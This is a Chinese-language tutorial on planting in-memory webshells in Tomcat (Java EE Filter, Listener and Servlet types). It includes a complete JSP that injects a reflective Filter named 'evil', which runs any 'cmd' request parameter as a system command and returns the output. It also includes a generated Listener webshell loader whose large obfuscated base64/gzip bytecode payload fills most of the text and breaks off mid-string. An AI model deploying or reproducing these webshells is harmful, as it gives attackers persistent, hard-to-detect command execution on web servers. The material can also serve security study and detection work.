Java EE架构内存马
包括Listener型,Filter型,Servlet型内存马,实现了java EE规范的web服务器就包括上述三种概念
各请求处理顺序如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| 请求到达 │ ├─ (1) Listener(监听请求/Session创建事件) │ ├─ ServletRequestListener.requestInitialized() │ └─ HttpSessionListener.sessionCreated()(如创建新Session) │ ├─ (2) Filter链(前置处理) │ ├─ Filter1.doFilter()(前半部分) │ ├─ Filter2.doFilter()(前半部分) │ └─ ... │ ├─ (3) Servlet处理 │ ├─ service() → doGet()/doPost()/... │ └─ 生成响应 │ ├─ (4) Filter链(后置处理,倒序) │ ├─ ... │ ├─ Filter2.doFilter()(后半部分) │ └─ Filter1.doFilter()(后半部分) │ └─ (5) Listener(监听请求/Session销毁事件) ├─ ServletRequestListener.requestDestroyed() └─ HttpSessionListener.sessionDestroyed()(如Session失效)
|
环境搭建
使用tomcat8.5.95,JDK 8u391
项目组件选择servlet即可
filter内存马
添加一个filter类型的内存马
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88
| <%@ page import="org.apache.catalina.core.ApplicationContext" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="java.util.Map" %> <%@ page import="java.io.IOException" %> <%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %> <%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %> <%@ page import="java.lang.reflect.Constructor" %> <%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %> <%@ page import="org.apache.catalina.Context" %> <%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<% final String name = "evil"; ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context"); appctx.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context"); stdctx.setAccessible(true); StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs"); Configs.setAccessible(true); Map filterConfigs = (Map) Configs.get(standardContext);
if (filterConfigs.get(name) == null){ Filter filter = new Filter() { @Override public void init(FilterConfig filterConfig) throws ServletException {
}
@Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { System.out.println("Do Filter ......"); String cmd; if ((cmd = servletRequest.getParameter("cmd")) != null) { Process process = Runtime.getRuntime().exec(cmd); java.io.BufferedReader bufferedReader = new java.io.BufferedReader( new java.io.InputStreamReader(process.getInputStream())); StringBuilder stringBuilder = new StringBuilder(); String line; while ((line = bufferedReader.readLine()) != null) { stringBuilder.append(line + '\n'); } servletResponse.getOutputStream().write(stringBuilder.toString().getBytes()); servletResponse.getOutputStream().flush(); servletResponse.getOutputStream().close(); return; }
filterChain.doFilter(servletRequest,servletResponse); System.out.println("doFilter"); }
@Override public void destroy() {
}
}; FilterDef filterDef = new FilterDef(); filterDef.setFilter(filter); filterDef.setFilterName(name); filterDef.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap(); filterMap.addURLPattern("/*"); filterMap.setFilterName(name); filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class); constructor.setAccessible(true); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
filterConfigs.put(name,filterConfig); } %>
|
成功执行
Listener内存马
使用JMG生成内存马
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| <% ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); try{ classLoader.loadClass("org.apache.commons.lang.n.ThreadUtil").newInstance(); }catch (Exception e){ java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); defineClass.setAccessible(true); String bytecodeBase64 = "yv66vgAAADEBjQEAJG9yZy9hcGFjaGUvY29tbW9ucy9sYW5nL24vVGhyZWFkVXRpbAcAAQEAEGphdmEvbGFuZy9PYmplY3QHAAMBAAxnZXRDbGFzc05hbWUBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEABENvZGUBACRvcmcuanVuaXQuU2VydmxldFJlcXVlc3RGZXpqTGlzdGVuZXIIAAgBAA9nZXRCYXNlNjRTdHJpbmcBAApFeGNlcHRpb25zAQATamF2YS9pby9JT0V4Y2VwdGlvbgcADAEAEGphdmEvbGFuZy9TdHJpbmcHAA4BC8hINHNJQUFBQUFBQUEvNDFYZVZ3VTV4bCtQblpobG1VMWNWRVViWk40dzdLd1NEUWk1RkFVQWdwbzNCU0R4TFRETU1Eb3Vydk96S0xZeHJTcFRaczBUZSttNlgwa3BXMXNxMjFjVktveDlraWIza2Q2MzNmVDl2LytrNmJQTnpNc3NDemlqMldPNzN2ZjUzMi81ejIrYjE3NDM0VkxBRGJnUHdKclV1WlE3R0FtYWRpeHVHNk9KSFI3cjM0a28xdDJtMzc4WUtkaDJYcFNOeFVJZ1NVSDFSRTFsbENUUTdIdENkV3lPbFBxZ0p6eUVVUk9IWXRaTGtBZTBCUklzVURKclFaTjNTN2dxNnJ1RWZCdlR3M29BdGQxR2ttOU8zTzRYemZ2VnZzVEhBbDNwalExMGFPYWhuejNCdjMyc0dFSnJPdThGcCtiUTFBUUNNS1BoUUxMcXpvTGV0OHNuUkNhd05JNTVpWEk5UktrbkhKREpLR3FyNlU2WDdhWmMvMENSWDB0QW1VRCtpQVg0NHdUbHVJZEhiTVZRcWpFY2dtN1F1QjYwM1YrQi8vTjFLZyt3Qlc2N3M3RmFPdUluclFkMTh1dDJSTUNxNjlCbXhSN2RqdklvNkVtak9QU2N2bVVwNjNITkQxdEc2bWtnbFZjdUllcG1hTnBPeFhiYnFTSFNZOUF3TlN0ZENwcE1UejVUZy9iZGpyV3prdk92aXRKTGNYU0xZdlFBamZOcmVSSVVOaVg2ajhvYzhSeExXTWJpVmlYbXBZZzNnSUUxczlyMlJHa3pzcDVtVkZRSzdEMm12QVV4QmlyYTF1MGdnMENOMXg5clFwdUZsZ3dZNWtLTm5Fb2JxdmFJYjU1ZGJCb1NMZG5la0llcTZxdkduV21YQ08yQkZHSEpvSGdzQzZ6dTFzOTdKVGFWTXpqdG1ra2h5aDdLMjRyUlJGWXFLVTAxdTZJNS9KeWhteDFJZld0MkZhR2VzaDZjRTMxcUltTUhzSU9GN2FWV1ordnBlQk9acE9XU3RxcWtXVHBySmhSc3NPcUdaY0xTV3A2Yy9YK0VEcXdNNGgyN0JLb0dKb2l1YzFNSGM0eGN0ZjgrZWd5azAvY25Ia2JRaGU2Zy9SL055bDBZdUFsOGFwWjVNOUs0eER1d2w3SlNaenhtd3B4dTJvTk8yRitUUkE5V0JoQURmTTluYUg3amRQWHY3di9vSzdaemJOSHFtY1BoZENML1dXNEJYMEJyQTFnUFp0VEpvRFhzbjJtMlhwQ1VOMFlzR0VGYU1nSkRDdW9RR1FMV09zSllRQjZHVFppa0g1dWE0MEhNT3cxamJ6V29JQTFXMGFTT3BLV3JUSnNBdFZ6Wms5K1d3a2hnY05CSEFLNXZYR0dnSlhXTldhMlp1cjJMbjAwempjRmFhNkVobHBHYloxNTQ2K3E3bXNKd1lRbEU4UjJlM0FCd3oyeXRZOEVjUVJIcVNSM0pTbmE0VXBhdXBZeERYczBSaU9PNkNpT1MzOWVQeU54WFZZVTNPODY0UFg4OHFwQy9mNEJ2REdJRTNnVEcxbmVwSUkzQ3l5YzFIZjNIWUhLMlNpNUxla3RlQ2lJazNpclRNVnl0MEwzZWhXNmZGTE5TTVZhTW9PRHVxa1B1SFBVZXdSdmx4bjRLSXVtc0l5Q3g1eU9yZzdJRFZsZ2NWWEI2bjRYM2gzRU8vRWVnVkMvYXVtM2JOeWhhODQrWGxFb3dqSWE3OFA3cGJNZllOTWVTTFVaU1RYQm80RGNTdVhrQi9HRTVQWkRJU3hCaFJUN0NETW5xUitkeXB5WmZ1VHkvR1A0dU9UaEU4UmlLYXNKUys3UEJiS1cvZUpUK0xTay8wa1dibTVmbzNneHFXdnJtYmZZQ3JTNm5CTmorS3owK1hOZWQzZG51MVB4akRiY1p1aUpnV25iNk5OTXRCSFYzRFM1NjgwdDIreEsxcy9zenA1TmQyNkRlMnRncWt3VE1mWEJCR1ZpRHB3bnlVMWxVWUVqeTlJNXRCUmttZVVraGxGTnFNd05aMVNnZHA3bVA5TjBDT2R3WGtibkF2Y3YyU3N6YWQzVUVrNEgrcXFzaFpPNG1CZXVHWlg1YkJDbmNKbTZsbTV2MHpUWlJkMHpZTlYrS1hBRlh3dGlIRjluRnlKNDNzNTB0ZDc0VFR3dkZiL0YyTk9iNDhkbFJqclphMDZlY2ZKT1AvSUF3b01aazl2S0pPc09HNVpXMTdJdDNqcVo5R1lBM3lmR1lNcmJUZGZPdzlKa1AvZ2hmaVE1K0RGcnlMWHZWbUlBUDNVTHVrdTNoMU5rZldzQnZMNVplSVhpNENMUTFNL3djMm5xRndMTDVwSlM4Q3NXa1pFY1NSM2lHcllVSUxQdkd2bjlEWDRieEsveE93WEx2RjVaSnplNnVoYW5VUVR3UjNmcnpKSDNaOXAxQ1FqZ3I5U29iOVMyTk5hcjlRMWI5RTJEL1ExYUFIOG52WHQxMmFVby9rKys3RXdjSFVrT2NPWmZXTW5LODRNUThQSEtuWTJmTlVJZVhwejdEdWNlNEpQaVhFdjUxa29Od2Z2U3lEaXVpNFQvY1JaYUpQelNXZHdSQ2YvN0xOck9jS29JUVY1bFVRTVYvRnVLTWo2RlhEWGVGempnL0M3d0lQZFFVc291aTlTTVkvSDhtTXVKc3NMQnJIRDFQRXo1dEFoaG9nclpDVDMwMjdoQUtWVWFxZkhWWEJySHEwN240RW9jbDI2Y0JsV2FneXFsa1dVTzFLdHhnd2UxeWRHazgyZnlJTlpNZ3hBNUNPNjl1TW1CV0RrSklaNmtoc0s1S3pWWk5GOUdmVmMwOGd6dU9JL3RSYXlzcDZkZStOQ1dSZWNUZUR3U0hjZWU3dWg1M0MzUTVKOUFUKzg0OWpVVlZ4YUg3K0hndlQ3czQrT0IydHpqZlpWKzc5a2ZmaDFodFBNWThpRnNuRU9xcWFTeXBIZ0NSM3JsY0JhWnNER09ZMW04WVFKRnZaRXNIc3ppYmVONHVMSWtRdUIzQ0dUeDNpd2V6K0xEV1h3MGkwOVdGbWZ4MUw0eEZEZVZqTUhmZlVhZWdkaWtKckNheVhFUmwzbjNPWnkwTVFyQWVvNVc4eStDR0dxd0dWRWVhbXV4aXdmb0hvNzA4K3M1aFFhTTRHWTh5dVBRT1o2M0prandSVFFScVJIUE1Ra2xwKzN5a0lFV0lxNGhjekU4aHJWWVJ6dWI4UkF0VkRHMlczRy9ZNlZZc3Byai9vckhmUUFYYUQxS1h6ZHpkQjM4cjlCTWlZSWlCWFVLNmhVMEtOaW8wTGhRc1BxL0VDMjh5ZGp5b01yclo2Z2p5Mk8xRS81MmprZ3JVZEZWRTc3bkhENGZQc0RMWlRSMGphR3l1MmJhVzZESlB3WWZmOUhUVG00dndtSmlMS0ZQcXlROHZlV3V4M0dKK2lKWEkxRWJSWmVNUVhkdCtNUlRxS2hsZmt3UWFVR1R2emFMUzkxanI3d1VmUjZoQ1p6cVpaRTg5MnpVbjhVM29sVDQ5bW42dHdEbHpMNVRIdjhOWkFIWVR2d2RaSytOcysyYzc2REVUcWIwTGlaMEo3blpUVWIzTUNKN0tSOTN1TjVJUDVieC93djRJbGROai9BbG5IYlliTVFaMWhHLzBFblVsL0VWM3ZrNWhtZHcxb2tFdUQ3L3kxQVVqQ3M0MmEzZ1ZHbG9HblZDbmw2OHhiN01JTXJGam9aL2NBNC82WXFHWC9SZnhNbGVYN2c5bnNVdm84d3l2cC9vOWRYdzlmZVg4WWZjNzNSWCtFL1VJRHQvOFZHRHdvTDNFNVJxOGxlU2l3ZkRmNXVPVk9tZkM4ZXAxM3A2UDVtdHkra1NlT1F2d1g2TzlwR05lN25lQStUb1BvZVYyemxUd2h4Nmdhc3Q0c3cyNThuSCtWcDhoL3o0cVhFbk9mdXVVLzJqdVF3Y3hmY2N6amE3WGVLSVRLd3BVdkIvOHpQQ1hrUVNBQUE9CAAQAQAGPGluaXQ+AQAVKExqYXZhL2xhbmcvU3RyaW5nOylWDAASABMKAA8AFAEAAygpVgEAE2phdmEvbGFuZy9FeGNlcHRpb24HABcBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAhsaXN0ZW5lcgEAEkxqYXZhL2xhbmcvT2JqZWN0OwEAB2NvbnRleHQBAAhjb250ZXh0cwEAEExqYXZhL3V0aWwvTGlzdDsBAAR0aGlzAQAmTG9yZy9hcGFjaGUvY29tbW9ucy9sYW5nL24vVGhyZWFkVXRpbDsBABZMb2NhbFZhcmlhYmxlVHlwZVRhYmxlAQAkTGphdmEvdXRpbC9MaXN0PExqYXZhL2xhbmcvT2JqZWN0Oz47AQAOamF2YS91dGlsL0xpc3QHACQBABJqYXZhL3V0aWwvSXRlcmF0b3IHACYBAA1TdGFja01hcFRhYmxlDAASABYKAAQAKQEAD2J5cGFzc0pES01vZHVsZQwAKwAWCgACACwBAApnZXRDb250ZXh0AQASKClMamF2YS91dGlsL0xpc3Q7DAAuAC8KAAIAMAEACGl0ZXJhdG9yAQAWKClMamF2YS91dGlsL0l0ZXJhdG9yOwwAMgAzCwAlADQBAAdoYXNOZXh0AQADKClaDAA2ADcLACcAOAEABG5leHQBABQoKUxqYXZhL2xhbmcvT2JqZWN0OwwAOgA7CwAnADwBAAtnZXRMaXN0ZW5lcgEAJihMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7DAA+AD8KAAIAQAEAC2FkZExpc3RlbmVyAQAnKExqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvT2JqZWN0OylWDABCAEMKAAIARAEABGtleTEBAAhjaGlsZHJlbgEAE0xqYXZhL3V0aWwvSGFzaE1hcDsBAANrZXkBAAtjaGlsZHJlbk1hcAEABnRocmVhZAEAEkxqYXZhL2xhbmcvVGhyZWFkOwEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAd0aHJlYWRzAQATW0xqYXZhL2xhbmcvVGhyZWFkOwcAUAEAEGphdmEvbGFuZy9UaHJlYWQHAFIBABFqYXZhL3V0aWwvSGFzaE1hcAcAVAEAE2phdmEvdXRpbC9BcnJheUxpc3QHAFYKAFcAKQEACmdldFRocmVhZHMIAFkBAAxpbnZva2VNZXRob2QBADgoTGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvT2JqZWN0OwwAWwBcCgACAF0BAAdnZXROYW1lDABfAAYKAFMAYAEAHENvbnRhaW5lckJhY2tncm91bmRQcm9jZXNzb3IIAGIBAAhjb250YWlucwEAGyhMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTspWgwAZABlCgAPAGYBAAZ0YXJnZXQIAGgBAAVnZXRGVgwAagBcCgACAGsBAAZ0aGlzJDAIAG0IAEcBAAZrZXlTZXQBABEoKUxqYXZhL3V0aWwvU2V0OwwAcABxCgBVAHIBAA1qYXZhL3V0aWwvU2V0BwB0CwB1ADQBAANnZXQMAHcAPwoAVQB4AQAIZ2V0Q2xhc3MBABMoKUxqYXZhL2xhbmcvQ2xhc3M7DAB6AHsKAAQAfAEAD2phdmEvbGFuZy9DbGFzcwcAfgoAfwBgAQAPU3RhbmRhcmRDb250ZXh0CACBAQADYWRkAQAVKExqYXZhL2xhbmcvT2JqZWN0OylaDACDAIQLACUAhQEAFVRvbWNhdEVtYmVkZGVkQ29udGV4dAgAhwEAFWdldENvbnRleHRDbGFzc0xvYWRlcgEAGSgpTGphdmEvbGFuZy9DbGFzc0xvYWRlcjsMAIkAigoAUwCLAQAIdG9TdHJpbmcMAI0ABgoAfwCOAQAZUGFyYWxsZWxXZWJhcHBDbGFzc0xvYWRlcggAkAEAH1RvbWNhdEVtYmVkZGVkV2ViYXBwQ2xhc3NMb2FkZXIIAJIBAAlyZXNvdXJjZXMIAJQIAB0BABpqYXZhL2xhbmcvUnVudGltZUV4Y2VwdGlvbgcAlwEAGChMamF2YS9sYW5nL1Rocm93YWJsZTspVgwAEgCZCgCYAJoBACBqYXZhL2xhbmcvSWxsZWdhbEFjY2Vzc0V4Y2VwdGlvbgcAnAEAH2phdmEvbGFuZy9Ob1N1Y2hNZXRob2RFeGNlcHRpb24HAJ4BACtqYXZhL2xhbmcvcmVmbGVjdC9JbnZvY2F0aW9uVGFyZ2V0RXhjZXB0aW9uBwCgAQAJU2lnbmF0dXJlAQAmKClMamF2YS91dGlsL0xpc3Q8TGphdmEvbGFuZy9PYmplY3Q7PjsBABNqYXZhL2xhbmcvVGhyb3dhYmxlBwCkAQAJY2xhenpCeXRlAQACW0IBAAtkZWZpbmVDbGFzcwEAGkxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQAFY2xhenoBABFMamF2YS9sYW5nL0NsYXNzOwEAC2NsYXNzTG9hZGVyAQAXTGphdmEvbGFuZy9DbGFzc0xvYWRlcjsBABVqYXZhL2xhbmcvQ2xhc3NMb2FkZXIHAK4BAA1jdXJyZW50VGhyZWFkAQAUKClMamF2YS9sYW5nL1RocmVhZDsMALAAsQoAUwCyAQAOZ2V0Q2xhc3NMb2FkZXIMALQAigoAfwC1DAAFAAYKAAIAtwEACWxvYWRDbGFzcwEAJShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsMALkAugoArwC7AQALbmV3SW5zdGFuY2UMAL0AOwoAfwC+DAAKAAYKAAIAwAEADGRlY29kZUJhc2U2NAEAFihMamF2YS9sYW5nL1N0cmluZzspW0IMAMIAwwoAAgDEAQAOZ3ppcERlY29tcHJlc3MBAAYoW0IpW0IMAMYAxwoAAgDICACoBwCnAQARamF2YS9sYW5nL0ludGVnZXIHAMwBAARUWVBFDADOAKsJAM0AzwEAEWdldERlY2xhcmVkTWV0aG9kAQBAKExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwwA0QDSCgB/ANMBABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QHANUBAA1zZXRBY2Nlc3NpYmxlAQAEKFopVgwA1wDYCgDWANkBAAd2YWx1ZU9mAQAWKEkpTGphdmEvbGFuZy9JbnRlZ2VyOwwA2wDcCgDNAN0BAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsMAN8A4AoA1gDhAQAHb2JqZWN0cwEAE1tMamF2YS9sYW5nL09iamVjdDsBAAlsaXN0ZW5lcnMBAAlhcnJheUxpc3QBABVMamF2YS91dGlsL0FycmF5TGlzdDsBAAppc0luamVjdGVkAQAnKExqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvU3RyaW5nOylaDADoAOkKAAIA6gEAG2FkZEFwcGxpY2F0aW9uRXZlbnRMaXN0ZW5lcggA7AEAXShMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzcztbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwwAWwDuCgACAO8BABxnZXRBcHBsaWNhdGlvbkV2ZW50TGlzdGVuZXJzCADxBwDkAQAQamF2YS91dGlsL0FycmF5cwcA9AEABmFzTGlzdAEAJShbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL3V0aWwvTGlzdDsMAPYA9woA9QD4AQAZKExqYXZhL3V0aWwvQ29sbGVjdGlvbjspVgwAEgD6CgBXAPsKAFcAhQEAHHNldEFwcGxpY2F0aW9uRXZlbnRMaXN0ZW5lcnMIAP4BAAd0b0FycmF5AQAVKClbTGphdmEvbGFuZy9PYmplY3Q7DAEAAQEKAFcBAgEAAWkBAAFJAQANZXZpbENsYXNzTmFtZQEAEkxqYXZhL2xhbmcvU3RyaW5nOwEABHNpemUBAAMoKUkMAQgBCQoAVwEKAQAVKEkpTGphdmEvbGFuZy9PYmplY3Q7DAB3AQwKAFcBDQEADGRlY29kZXJDbGFzcwEAB2RlY29kZXIBAAdpZ25vcmVkAQAJYmFzZTY0U3RyAQAUTGphdmEvbGFuZy9DbGFzczwqPjsBABZzdW4ubWlzYy5CQVNFNjREZWNvZGVyCAEUAQAHZm9yTmFtZQwBFgC6CgB/ARcBAAxkZWNvZGVCdWZmZXIIARkBAAlnZXRNZXRob2QMARsA0goAfwEcAQAQamF2YS51dGlsLkJhc2U2NAgBHgEACmdldERlY29kZXIIASABAAZkZWNvZGUIASIBACBqYXZhL2xhbmcvQ2xhc3NOb3RGb3VuZEV4Y2VwdGlvbgcBJAEADmNvbXByZXNzZWREYXRhAQADb3V0AQAfTGphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtOwEAAmluAQAeTGphdmEvaW8vQnl0ZUFycmF5SW5wdXRTdHJlYW07AQAGdW5nemlwAQAfTGphdmEvdXRpbC96aXAvR1pJUElucHV0U3RyZWFtOwEABmJ1ZmZlcgEAAW4BAB1qYXZhL2lvL0J5dGVBcnJheU91dHB1dFN0cmVhbQcBLwEAHGphdmEvaW8vQnl0ZUFycmF5SW5wdXRTdHJlYW0HATEBAB1qYXZhL3V0aWwvemlwL0daSVBJbnB1dFN0cmVhbQcBMwoBMAApAQAFKFtCKVYMABIBNgoBMgE3AQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWDAASATkKATQBOgEABHJlYWQBAAUoW0IpSQwBPAE9CgE0AT4BAAV3cml0ZQEAByhbQklJKVYMAUABQQoBMAFCAQALdG9CeXRlQXJyYXkBAAQoKVtCDAFEAUUKATABRgEAA29iagEACWZpZWxkTmFtZQEABWZpZWxkAQAZTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwEABGdldEYBAD8oTGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsMAUwBTQoAAgFOAQAXamF2YS9sYW5nL3JlZmxlY3QvRmllbGQHAVAKAVEA2QoBUQB4AQAeamF2YS9sYW5nL05vU3VjaEZpZWxkRXhjZXB0aW9uBwFUAQAgTGphdmEvbGFuZy9Ob1N1Y2hGaWVsZEV4Y2VwdGlvbjsBABBnZXREZWNsYXJlZEZpZWxkAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL3JlZmxlY3QvRmllbGQ7DAFXAVgKAH8BWQEADWdldFN1cGVyY2xhc3MMAVsAewoAfwFcCgFVABQBAAx0YXJnZXRPYmplY3QBAAptZXRob2ROYW1lAQAHbWV0aG9kcwEAG1tMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEAIUxqYXZhL2xhbmcvTm9TdWNoTWV0aG9kRXhjZXB0aW9uOwEAIkxqYXZhL2xhbmcvSWxsZWdhbEFjY2Vzc0V4Y2VwdGlvbjsBAApwYXJhbUNsYXp6AQASW0xqYXZhL2xhbmcvQ2xhc3M7AQAFcGFyYW0BAAZtZXRob2QBAAl0ZW1wQ2xhc3MHAWIBABJnZXREZWNsYXJlZE1ldGhvZHMBAB0oKVtMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwwBawFsCgB/AW0KANYAYAEABmVxdWFscwwBcACECgAPAXEBABFnZXRQYXJhbWV0ZXJUeXBlcwEAFCgpW0xqYXZhL2xhbmcvQ2xhc3M7DAFzAXQKANYBdQoAnwAUAQAKZ2V0TWVzc2FnZQwBeAAGCgCdAXkKAJgAFAEACDxjbGluaXQ+CgACACkBAA9zdW4ubWlzYy5VbnNhZmUIAX4BAAl0aGVVbnNhZmUIAYABAAlnZXRNb2R1bGUIAYIBABFvYmplY3RGaWVsZE9mZnNldAgBhAEABm1vZHVsZQgBhgEAD2dldEFuZFNldE9iamVjdAgBiAEADmphdmEvbGFuZy9Mb25nBwGKCQGLAM8AIQACAAQAAAAAAA8AAQAFAAYAAQAHAAAAEAABAAEAAAAEEwAJsAAAAAAAAQAKAAYAAgALAAAABAABAA0ABwAAABcAAwABAAAAC7sAD1kTABG3ABWwAAAAAAABABIAFgAB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